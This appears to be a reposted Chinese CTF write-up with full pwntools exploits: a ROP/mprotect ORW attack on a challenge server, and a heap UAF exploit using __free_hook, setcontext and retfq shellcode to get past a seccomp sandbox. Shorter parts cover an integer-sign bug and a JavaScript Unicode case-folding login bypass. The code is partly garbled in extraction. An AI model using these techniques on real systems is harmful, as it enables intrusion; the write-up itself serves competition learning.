沙箱禁⽤了execve和fork函数
main
这⾥⽣成了随机数 ,种⼦固定时, ⽣成的随机数唯— ,所以我们可以本地⽤当前时间作为种⼦模拟⽣成 随机数绕过
vulnerable
直接给了栈溢出漏洞, 泄露libc后利⽤mprotect函数改权限打ORW即可
from pwn import*
from ctypes import *
from LibcSearcher import*
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#p=process('./randbox')
p=remote( '27.25.151.80',40146)
libc = cdll.LoadLibrary( '/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))
payload=(libc.rand())%50
p.sendline(str(payload))
elf=ELF( './randbox')
rdi=0x00000000004015c3
rsi_r15=0x00000000004015c1
libc=ELF( './libc-2.31.so')
p.recvuntil( 'hack?nn')
payload=b'a'*0x28 + p64(rdi) + p64(elf.got [ 'puts']) + p64(elf.plt [ 'puts'])
+p64(0x401421)
p.sendline(payload)
libc_base = u64(p.recv(6).ljust(8,b'x00'))-libc.sym [ 'puts']
#libc = LibcSearcher("puts", puts)
#libc_base = puts - libc.dump("puts")
log.success("libcbase:"+hex(libc_base))
mprotect = libc_base + libc.sym [ 'mprotect']
rsi = libc_base + 0x27529
rdx_r12 = libc_base + 0x11c1e1
buf = 0x404000 + 0x800
orw_payload = b'a'*0x28+p64(rdi) + p64(0x404000) + p64(rsi) + p64(0x1000)
+ p64(rdx_r12) + p64(7) +p64(0)+ p64(mprotect) + p64(rdi) + p64(0) + p64(r
si) + p64(buf) + p64(rdx_r12) + p64(0x100) +p64(0)+ p64(elf.sym [ 'read']) +
p64(buf)
p.sendlineafter(b'hack?nn', orw_payload)
sleep(1)
p.sendline(asm(shellcraft.cat( 'flag')))
p.interactive()
发现保护措施全都开了,接下来使⽤seccomp-tools dump ./ret2half 这个命令来查看程序是否 有启⽤沙箱, 以及沙箱过滤了哪些函数
发现禁⽤了ptrace ,open_by_handle_at ,open ,openat ,execveat ,execve这些函数, 禁⽤了
execve和execveat函数,那么我们就⽆法通过one_gadgets或者⽤execve("/bin/shx00")这样的 ⽅法来
解题了 。我们只能考虑⽤orw来解题,但是涉及到open的三个系统调⽤open_by_handle_at, openat,open全部都被堵死了,那么如何完成open("flag")将会是本题的重点。
将程序放⼊ida中分析
发现是—道很典型的堆题, ⾸先来看看welcome函数
申请了两个堆块⼜释放了, 这看上去可能有点莫名其妙,但是这其实是为了我们能够泄露堆地址⽽ 准备
的
那么接下来我们来分析函数的主体功能
add函数中⼀开始会对heap_number进⾏判断, ⽽heap_number会随着分配新的堆块⽽减少,
heap_number的数量为59 ,那么意味着这个程序最多只能分配9个堆块 。接下来会让你输⼊size, ⽽输
⼊的size也是有要求的:⼤⼩不能超过0x70,否则将不会分配堆块 。分配完堆块后会将堆块地址写 ⼊
heap_ptr,⼤⼩写⼊heap_size中去, ⽽heap_inuse会被赋值为1, 同时heap_number会减⼀ 。同时 我们
也知道了, 这个堆管理器只能同时容纳⼀个堆块的存在。 接下来再看delete函数
free后只将heap_inuse置为0,⽽不将heap_ptr置0, 可能含有uaf漏洞。
view函数分为两种模式, ⼀种是admin, ⼀种是⾮admin, 其中admin的利⽤有条件, 即必须输⼊ 和程
序⼀样的随机数,从⽽获得⼀次uaf的leak机会, ⽽⾮admin的show是没有uaf的
⽽想要成为admin显然得满⾜⽣成的随机数与源程序⽣成的随机数相等, 这⾥可以导⼊from ctypes
import *库,然后⽤
1 my_libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
2 my_libc.srand(int(io.recv(10)))
3 num=my_libc.rand()
来⽣成随机数绕过检查。
接下来看edit函数,只判断了heap_ptr是否等于0,⽽没有判断heap_inuse,造成了uaf漏洞。
由于只能uafshow⼀次,开始是tcache是空的,申请堆块后释放并不会在其fd上留下next_chunk 的地
址,但是我们之前welcome这个函数释放了两个堆块,因此,可以⽤普通的show泄露堆块地址,但是由
于系统不能分配⼤于0x70的堆块,因此我们正常申请的chunk并不能释放到unsortedbin中去,这 时,我
们考虑劫持tcache_perthread_struct结构体,倘若我们可以成功劫持tcache_perthread_struct, 并且将
tcache的⼤⼩为0x250的头部放⼊unsortedbins中去,那么就可以成功泄露libc地址了。但是我们知道
tcache的⼤⼩也有0x250这⼀档,该如何使得释放的chunk直接去往unsortedbins中呢?我们可以 将
tcache_perthread_struct各个⼤⼩的堆块数量都改为7个(7个就说明tcache满了,具体实现为add(0x70,b'x07'*0x40)),这样,我们就能获得libc基地址了,接下来考虑orw的步骤。
利⽤retfq切换到32位进⾏open
获得libc基地址后,我们考虑将free_hook改为setcontext+53的地址进⾏orw,但是在此之前,尚有⼀些问题亟待解决
Q:申请堆块的上限是9个,如果每个堆块都要先申请出来,再释放,再uaf修改tcache中的fd指针为⽬ 标
地址,再申请两个堆块的话肯定是不够⽤的,这该怎么办?
A:修改tcache_perthread_struct的0x40后的数据,每8字节记录者⼀个⼤⼩堆块的位置,将要申请的堆块放⼊那⾥即可⼀次就申请出来
Q:常规的orw并不能进⾏open操作(open时会被沙箱拦截),怎么绕过
A:执⾏shellcode,⽤retfq将模式切换⾄32位下运⾏,在那⾥执⾏open的系统调⽤,再⽤相同⽅法切换64位下继续进⾏系统调⽤
解决这些问题后,我们可以构造我们的链⼦了,笔者的计划是先调⽤mprotect来开辟⼀块可以执⾏shellcode的地址(这⾥笔者⽤的是⽤rop链调⽤mprotect,原因是笔者习惯写rop链了,当然直接⽤shelldode也是可以的,甚⾄这样⽐笔者的做法还简单(笑))
笔者的计划:⽤uaf泄露heap_base->将堆块的fd修改为tcache_perthread_struct->将
tcache_perthread_struct申请出来->改变tcache_perthread_struct的堆块数量为7->释放
tcache_perthread_struct到unsortedbin中->通过验证利⽤仅有⼀次的uafshow将libc_base泄露出来->修改tcache_perthread_struct中的堆块地址,分别修改为free_hook,rop地址,第⼆段rop地址,某块地址,某块地址+0xa0(⽅便后续rop链的调⽤)->利⽤rop链开辟⼀块空间,并且往⾥读⼊shellcode->跳 转
到那块空间->向新开辟的地址中输⼊shellcode->⽤mmap新开辟⼀块空间,要求在32位的寻址范围内-
>
读⼊32位的openshellcode到那⽚空间->读⼊64位的rwshellcode到那⽚空间的另⼀个地⽅->读
⼊/flag.txt字符串->通过retfq,进⼊32位程序状态->跳转到新开辟的空间中执⾏32位的openshellcode 处进⾏read和write。
最终exp如下:
import time
from pwn import *
from ctypes import *
#context.arch='amd64'
context.log_level = 'debug'
io=process("./ret2half")
#io=remote("27.25.151.80",32782)
elf=ELF("./ret2half")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("x7f") [-6:].ljust(8,b"x00"))
uu32= lambda : u32(io.recvuntil("xf7") [-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=elf.libc
my_libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") #这个位置替 换为你的libc地址,如果你这个地⽅有libc则忽略
def add(size,content):
sla("Your choice:n",b'1')
sla("pwner's weight:n",str(size))
sa("pwner's info:n",content)
def edit(content):
sla("Your choice:n",b'2')
sa("pwner's info:n",content)
def show():
sla("Your choice:n",b'3')
def pass_show():
sla("Your choice:n",b'3')
ru("how old are you?n")
my_libc.srand(int(io.recv(10)))
num=my_libc.rand()
sleep(0.1)
sl(str(num))
def delete():
sla("Your choice:n",b'4')
sl(b'aaaa')
sl(b'aaaa')
gdb.attach(io)
#pause()
pass_show()
add(0x18,b'a')
pause()
show() #泄露堆地址 ru("pwner's info:a")
leak_addr=u64((b'x00'+rx(5)).ljust(8,b'x00'))
print(hex(leak_addr))
heap_base=leak_addr-0x200
print(hex(heap_base))
add(0x70,b'x00')
delete()
edit(p64(heap_base+0x10))
pause()
add(0x70,b'x00')
add(0x70,b'x07'*0x40)
delete()
pause()
show() #泄露libc地址 sl(b'Y')
leak_addr=uu64()
print(hex(leak_addr))
main_arena=leak_addr-96
malloc_hook=main_arena-0x10
libc_base = malloc_hook - libc.sym [" malloc_hook"]
ret=libc_base+0x8aa
rdi=libc_base+0x2164f rsi=libc_base+0x23a6a rdx=libc_base+0x1b96
mprotect=libc_base+libc.sym [ 'mprotect']
setcontext=libc_base+libc.sym [ 'setcontext']+53
free_hook=libc_base+libc.sym [ ' free_hook']
read=libc_base+libc.sym [ 'read']
mp_addr=free_hook &0xFFFFFFFFFFFFF000
print(hex(libc_base))
edit(b'x07'*0x40+p64(free_hook)+p64(heap_base+0x8060)+p64(heap_base+0x60
00)+p64(heap_base+0x7000)+p64(heap_base+0x70a0)+p64(heap_base+0x8000))
#通过rop开辟⼀块可以执⾏shellcode的空间
call_mprotect=p64(rdi)
call_mprotect+=p64(mp_addr)
call_mprotect+=p64(rsi)
call_mprotect+=p64(0x10000)
call_mprotect+=p64(rdx)
call_mprotect+=p64(7)
call_mprotect+=p64(mprotect)
call_mprotect+=p64(rdi)
call_mprotect+=p64(0)
call_mprotect+=p64(rsi)
call_mprotect+=p64(mp_addr)
call_mprotect+=p64(rdx)
call_mprotect+=p64(0x1000)
call_mprotect+=p64(read)
call_mprotect+=p64(mp_addr)
add(0x68,call_mprotect [:0x60])
add(0x28,call_mprotect [0x60:])
add(0x18,p64(setcontext))
payload=p64(heap_base+0x8000)
payload+=p64(ret)
add(0x58,payload)
print(hex(free_hook))
add(0x48,b'aaaa')
delete()
#通过mmap开辟—块可读可写可执⾏的空间
mmap_shellcode=asm(shellcraft.amd64.mmap(0x66660000,0x100,7,34,0,0), arch
= 'amd64', os = 'linux')
#写⼊shellcode到mmap开辟的空间中
read_mmap=asm( '''
mov rdi,0
mov rsi,0x66660000
mov rdx,0x200
mov rax,0
syscall
''',arch = 'amd64')
#写⼊64为shellcode到0x66660500中,为retfq回来做准备。
read_mmap_64=asm( '''
mov rdi,0
mov rsi,0x66660500
mov rdx,0x200
mov rax,0
syscall
''',arch = 'amd64')
#写⼊"/flagx00"字符串到0x66660900中
read_flag=asm( '''
mov rdi,0
mov rsi,0x66660900
mov rdx,0x20 mov rax,0
syscall
''',arch = 'amd64')
#通过retfq, 进⼊32位程序状态,并且跳转到0x66660000中执⾏32位的shellcode
code_retfq = asm( ''' mov r15,0x66660700 mov rsp,r15
push 0x23
push 0x66660000
retfq
''',arch = 'amd64')
shellcode=mmap_shellcode shellcode+=read_mmap
shellcode+=read_mmap_64 shellcode+=read_flag
shellcode+=code_retfq sl(shellcode)
#通过32位的open函数打开flag⽂件
x86_shellcode_1 = asm( '''
mov eax, 0x5
mov ebx,0x66660900
mov ecx,0
int 0x80
''',arch = 'i386',os = 'linux')
#retfq切换到64位程序运⾏
x86_x64=asm( '''
push 0x33
push 0x66660500
retfq
''',arch = 'amd64')
sl(x86_shellcode_1+x86_x64)
pause()
#64位程序读取flag并输出
read_write=asm( '''
mov rdi,3
mov rsi,0x66660900
mov rdx,0x50 mov eax,0
syscall mov rdi,1
mov rsi,0x66660900
mov rdx,0x50
mov rax,1
syscall
''',arch = 'amd64')
sl(read_write)
sl(b'/flagx00')
shell()
如下可⻅⾦钱的购买变化是有问题的,应该先对数量v1做是否为正数的判断。
puts(&byte_4020F0);
fgets(s, 10, stdin);
v1 = atoi(s);
if ( 5 * v1 > money )
return puts(&byte_402100);
money -= 5 * v1;
if ( v1 < 0 )
return puts(&byte_402131);
Shawarma += v1;
所以nc 后, 选择购买,输⼊购买-100个沙威玛, 即可获得⾜够买100个沙威玛的⾦钱,从⽽能够 去执⾏选择2 ,执⾏后⻔ 。
根据提示看到输⼊的 username 经过了 toUpperCase处理 js的⼤⼩写有如下特性
字符" ı " 、"ſ" 经过toUpperCase处理后结果为 "I" 、"S"
字符"K"经过toLowerCase处理后结果为"k"(前⾯这个K不是字⺟K) 对于给出的md5, 可以拿去⽹上查记录, 如果是弱⼝令⼀般都能查到
最后传⼊ buıldctf , 012346 即可
:
通过百度网盘分享的文件:BuildCTF… 链接:https://pan.baidu.com/s/19OUIL3Q3yQ-FiQAGujRXhg?pwd=c7gd 提取码:c7gd 复制这段内容打开「百度网盘APP 即可获取」
原文始发于微信公众号(ZeroPointZero安全团队):BuildCTF官⽅WP
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论